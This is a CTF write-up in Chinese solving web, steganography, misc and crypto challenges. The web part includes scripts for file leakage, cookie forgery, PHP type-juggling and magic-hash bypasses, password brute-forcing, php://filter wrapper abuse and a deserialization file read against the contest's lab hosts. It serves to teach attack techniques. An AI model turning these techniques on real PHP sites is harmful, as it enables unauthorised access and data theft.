1. 程式人生 > >第四屆“”世安杯“”線上賽題解(Web+Stego+Misc+Crypto)

第四屆“”世安杯“”線上賽題解(Web+Stego+Misc+Crypto)

題目很多原題,但是還是考驗了不少的知識點,就算是原來見過的也當做是複習了一下知識點了。

WEB

ctf入門級題目

非常水的一道題,可以看到原始碼,然後利用%00截斷就可以通過了

這裡寫圖片描述

曲奇餅

原題,直接利用line和file來洩露檔案內容,通過臊面輕鬆知道存在index.php,然後利用一下得到原始碼審計

#_*_coding:utf-8_*_
import requests
s=requests.session()
file=''
for i in range(19):
    url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line="
+str(i)+"&file=aW5kZXgucGhw" r=s.get(url) content=r.content file+=content print file

得到程式碼如下

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA=="
); $file_list = array( '0' =>'key.txt', '1' =>'index.php', ); if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){ $file_list[2]='thisis_flag.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>

然後知道很簡單在cookie中偽造一下就行了

這裡寫圖片描述

型別

這個相對繁瑣一些些,但是不難,總之就是需要繞過幾個點,這裡附一下審計程式碼

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

總體我麼你需要做的就是讓x1變數賦值為0、保證x2經過json_decode解密之後是一個存在兩個元素的陣列,然後第一個元素也必須是陣列,第二個陣列需要利用array_search的弱型別匹配繞過,讓內容不存在XIPU,但是可以匹配通過、最後需要爆破一下md5值,我們很巧妙地可以發現substr(md5(‘15562’),8,16))是0e46379442318098,我們可以利用0e科學技術計數法的php弱型別匹配繞過!當然我們需要角門爆破了

x3內容由php指令碼得到

<?php
$i2=array("1"=>"1");
$i1=array(
    0=>(array)$l2,
    1=>0
    );
$a = array(
    "x21" => "2018a",
    "x22" => (array)$i1
);
$b=json_encode($a);
var_dump(is_array($a));
echo $b;
?>

x4的爆破指令碼由python指令碼得到

import hashlib

for i in xrange(1000000):
    s = 'XIPU' + str(i)
    mymd5 = hashlib.md5()
    mymd5.update(s)
    mymd5 = mymd5.hexdigest()
    flag = 1
    if mymd5[8:10] == '0e':
        for j in mymd5[10:24]:
            if j.isalpha():
                flag = 0
                break
        if flag == 1:
            print s
            break

最後就可以了

這裡寫圖片描述

登入

這個真心沒什麼好說的,原始碼中存在提示說密碼是五位數,然後直接爆破就好了!
爆破程式碼如下

#_*_coding:utf-8_*_
import requests,re,sys
type = sys.getfilesystemencoding()
url = 'http://ctf1.shiyanbar.com/shian-s/'
s=requests.session()
for s1 in range(0,9):
    for s2 in range(0,9):
        for s3 in range(0,9):
            for s4 in range(0,9):
                for s5 in range(0,9):
                    html = s.get(url).content
                    number=re.findall(r'<br><br>(.*?)<br><br>',html,re.S)
                    temp = str(s1)+str(s2)+str(s3)+str(s4)+str(s5)
                    tempurl=url+'index.php?username=admin&password='+str(temp)+'&randcode='+str(number[1])
                    html = s.get(tempurl).content.decode('utf-8').encode(type)
                    if '密碼錯誤' not in html:
                        print html

admin

一道不錯的題目,雖然是原題吧,首先得到程式碼,發現一定是經典的檔案洩露
利用php://input繞過對admin的限制,然後用經典的filter偽協議得到class.php和index.php的原始碼,程式碼貼一下吧


 <?php
//index.php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 --!>
---------------------------------------------------
//class.php
<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

然後我麼就知道是經典的反序列化問題,一定是想辦法呼叫class.php中的_toString函式,那麼我們只需要這樣就好了(如圖)

這裡寫圖片描述

注意我們在file變數中呼叫class.php為了觸發,在pass序列化中需要將$file複製成filter偽協議偽裝後語句,為了讀取我們目標的f1ag.php檔案。
然後就解密就行了
這裡寫圖片描述

low

實驗吧原題,還是非常棒的,利用的是圖片中最低位的奇偶性,最後生成一個圖片,可以得到一個二維碼!直接上程式碼就可以了,很容易懂

#coding:utf-8
import Image
path = '原圖片的位置'
img = Image.open(path)
pix = img.load()
str1 = ''
for i in range(510):
    for j in range(613):
        if pix[i,j]%2==0:
            str1+='1'
        else:
            str1+='0'
img1 = Image.new("RGB",(510, 613))
k=0
for i in range(510):
    for j in range(613):
        if str1[k]=='1':
            img1.putpixel([i,j],(255,255,255))
        else:
            img1.putpixel([i,j],(0,0,0))
        k+=1
img1.show()

然後掃一下二維碼就好了

這裡寫圖片描述

斑馬斑馬

這個題目也是原題,但是比較迷啊,這個是斑馬的條紋隱藏了一個條形碼,我用的QQ截圖做的,左後可以得到一個一維碼

這裡寫圖片描述

然後放到網站上跑就可以得到答案了
這裡寫圖片描述

注意答案的格式是小寫…坑…

CreateByWho

這個題目是一個拼湊二維碼的…深坑無比….最後用word截圖拼湊出來了二維碼,丟失的三塊是三個正方形黑色圓圈

這裡寫圖片描述

適合作為桌面圖片

這個題目是stego直接去隨便調下色層就出來了

這裡寫圖片描述

但是掃碼後得到一些不知名的串,然後放到hexeditor中生成一個新檔案,發現是一個標準的pyc檔案,用easy python compiler得到反彙編後的程式碼,稍加修改得到flag
# Embedded file name: 1.py
def flag():
    str = [102,
     108,
     97,
     103,
     123,
     51,
     56,
     97,
     53,
     55,
     48,
     51,
     50,
     48,
     56,
     53,
     52,
     52,
     49,
     101,
     55,
     125]
    flag = ''
    for i in str:
        flag += chr(i)
    print flag
flag()

Misc

reverseMe

這個題目腦洞…將所有的hex值倒置一下發現是一個png圖片…然後圖片的左右畫素也是反正得,然後寫一個py指令碼搞定好了

#coding:utf-8
import Image
path = r'C:\reverseMe'
path1 = r'C:\reverseMe1.png'
path2 = r'C:\copy.png'
'''
生成圖片
file = open(path,"rb")
file1 = open(path1,"wb")
num=0
a=[]
while True:
    byte = file.read(1)
    if byte == '':
        break
    else:
         hexstr =  "%s" % byte.encode('hex')
         decnum = int(hexstr, 16)
         num+=1
         a.append(byte)
         #file1.write(byte)
         #print hexstr, decnum
file.close()
for i in range(len(a)-1,0,-1):
    file1.write(a[i])

file1.close()
#print num
'''
'''翻轉'''
img = Image.open(path1)
pix = img.load()
img1 = Image.new("RGB",(800, 100))
for i in range(800):
    for j in range(100):
        #print pix[i,j]
        img1.putpixel([799-i,j],pix[i,j])
img1.show()
img1.save(path2)

然後得到flag圖片

這裡寫圖片描述

珍妮的qq號

這個…大水題…直接上程式碼

#_*_coding:utf-8_*_
import requests,re,sys,hashlib
for i in range(10000,100000):
    j = i* 4
    if j>=100000:
        break
    temp1 = str(i)
    temp2 = str(j)
    if temp1[0]==temp2[4] and temp1[1]==temp2[3] and temp1[2]==temp2[2] and temp1[3]==temp2[1] and temp1[4]==temp2[0]:
        print i,j

#21978 87912

心儀的公司

這個題目看資料包的時候必須在ubuntu的wireshake才能看,然後在審計流量的時候發現下面很多以IP為目地方的資料,審計一下直接發現flag!

這裡寫圖片描述

Crypto

RSA

看到只是給了n和c的值,而且n遠遠大於c,猜測是經典的低加密指數攻擊,而且猜測e是3,居然成功了,然後我們可以利用經典方法解除d值,程式碼如下

#_*_coding:utf-8_*_
import gmpy,libnum
c=2044619806634581710230401748541393297937319
N=92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
d=126922179506039
i=0
while 1:
    if(gmpy.root(c+i*N, 3)[1]==1):
        print gmpy.root(c+i*N, 3)
        break
    i=i+1

然後結果需要將得到的d值轉懲字串即可!程式碼如下

import gmpy,libnum
print libnum.n2s(126922179506039)

最後結果為so_low